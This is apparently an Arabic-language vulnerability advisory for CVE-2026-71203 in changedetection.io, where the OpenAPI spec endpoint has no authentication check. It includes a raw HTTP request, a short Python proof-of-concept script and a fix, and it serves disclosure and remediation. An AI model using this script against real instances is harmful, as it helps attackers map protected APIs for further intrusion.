
PoC: كشف مخطط OpenAPI في changedetection.io بدون مصادقة (CVE-2026-71203، متوسطة 5.3)
المنتج: dgtlmoon/changedetection.io — v0.55.7
الملف: changedetectionio/api/Spec.py
CWE: CWE-306 — فقدان المصادقة لوظيفة حرجة
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (متوسط)
CNA: Turan Security · سجل CVE
موارد REST API في changedetection.io محمية بواسطة المُزيِّن @auth.check_token
الذي يتحقق من ترويسة x-api-key الخاصة بالمُستدعي — باستثناء مورد Spec المسجّل في
/api/v1/full-spec (changedetectionio/api/Spec.py)، الذي لا تحمل طريقته get لا
@auth.check_token ولا @validate_openapi_request.
يمكن لأي عميل شبكة غير مصادَق عليه استرجاع مخطط OpenAPI الكامل للمثيل، مما يكشف سطح API الداخلي الكامل (جميع مسارات الموارد والمعاملات وأشكال الاستجابات) دون تقديم أي مفتاح API. ورغم أن المخطط نفسه ليس بيانات مستخدم حساسة، إلا أنه يمنح المهاجم خريطة كاملة وموثوقة لكل نقطة نهاية API أخرى لاستهدافها — مما يقلل تكلفة الاستطلاع الإضافي ضد الموارد المحمية فعليًا في المثيل.
GET /api/v1/full-spec HTTP/1.1
Host: target-instance
لا يلزم ترويسة x-api-key أو ملف تعريف ارتباط أو أي بيانات اعتماد. الاستجابة هي مستند
مواصفات OpenAPI الكامل.
إثبات المفهوم (Python):
import requests
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
print("[+] Full OpenAPI schema disclosed with zero authentication:")
print(resp.text[:1000])
كل مورد REST آخر في API مُسجَّل مع تطبيق @auth.check_token (و
@validate_openapi_request) على دوال معالِجه؛ أما طريقة get لمورد Spec
فلم تُزيَّن بالطريقة نفسها، مما يجعلها نقطة النهاية الوحيدة غير المُصادَق عليها في سطح
كان مقصورًا على مفاتيح API فيما عدا ذلك.
طبّق @auth.check_token على Spec.get() بما يتوافق مع كل مورد API آخر، أو إذا كان
المخطط مُخصصًا ليكون عامًا، فاجعل ذلك قرارًا صريحًا وموثقًا بدلًا من كونه
تناقضًا.